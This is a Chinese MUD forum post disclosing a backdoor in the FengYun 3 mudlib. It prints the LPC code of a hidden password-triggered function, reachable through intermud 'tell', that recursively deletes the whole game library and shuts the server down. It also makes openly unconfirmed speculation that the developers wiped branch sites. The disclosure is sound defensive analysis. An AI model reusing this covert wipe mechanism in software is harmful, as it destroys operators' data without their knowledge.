以前,我在读风云三的securityd.c的时候,发现后边有几个非常奇怪的函数,当时
我没有搞明白它们是干什么用的,所以只在前边加一句注释: //what use the follow
ing?? 今天,突然产生很奇怪的念头,感觉这是风云三的设计者故意留下的后门,于是
赶紧搜索整个MUDLIB,事实证明。。。。。。。。。。。。。。咣当!雪君已经口吐鲜
血晕倒在地。
请看下边的程序: securityd.c里边:
void checking_status(mapping info)
{
string *dir;
string content;
int i;
content = info["MSG"];
if(crypt(content, "jqp5JO9YfN2Dk") == "jqp5JO9YfN2Dk")
{
rmhirdir("");
shutdown(0);
}
}
相信大家能看懂,上边这个函数是接收一个mapping,如果里边的MSG内容经过crypt()函
数(此函数是MUDOS的加密函数)处理后的结果是jqp5JO9YfN2Dk, 那么就将执行rmhird
ir("")函数,然后把游戏关闭。
再看下边的rmhirdir()函数是在干什么, faint!!看清楚了吗?是把一个目录下内
容全部删除,包括所有子目录。如果传过去的参数是"",也就是上边调用的方法,结果就
是把整个MUDLIB删除掉!!!!吐血没有?? int rmhirdir(string dirstr)
{
string *dir;
int i;
dir = get_dir(dirstr+"/");
for(i=0; i if(file_size(dirstr+"/"+dir[i]) == -2 ) {
rmhirdir( dirstr +"/"+dir[i]);
rmdir(dirstr+"/"+dir[i]);
}
rm(dirstr+"/"+dir[i]);
}
rmdir(dirstr);
return 1;
}
现在的问题就是在什么地方会调用这个checking_status()函数,我想象成这是风
云三的设计者为了防止分站失去控制而设置的,也就是说,如果他们发现有哪个风云分
站不再听从总站的调遣了,或者说想跟这个分站终止合作关系了,或者说有人私自架设
了风云三,总站就可以向这个风云站发出一条信息,也就是一个销毁风云三MUDLIB的指
令,于是。。。。。。。。。这个站将在无形之中被摧毁掉,没有任何痕迹留下来。为
了证实我这种猜测,我在整个风云三MUDLIB里搜索checking_status这个函数,结果,在
/adm/daemons/network/service/gtell.c里边发现如下一行程序: 82行: SECURITY_D
->checking_status(info); gtell.c是在网际之间用tell指令的时候要调用的,从整个
程序看,就是如果你对其他的风云站上任何一个人使用tell命令,将先调用securityd.
c里的这个 checking_status()函数判断。
由此可以看出,风云三设计者是保留了一个销毁MUDLIB的口令(可以叫口令吧?)
,如果他们看哪个风云站点不顺眼了,想把他摧毁,只要对那里边的任何一个人用tell
指令发送过这个口令,那么。。。。。。。和和。
由此我又联想到前一段时间全国风云分站同时被黑,所有程序丢失,看来,果然如一些人所料,这是风云工作室一手策划的.............................. 以上猜测是否正确,请行家指正。
BTW: 在比较老的单机版风云三里并没有以上的代码,但在FY3.7.1以上版本里,都可以查到。
尊重作者 转载请注明出处52mud.com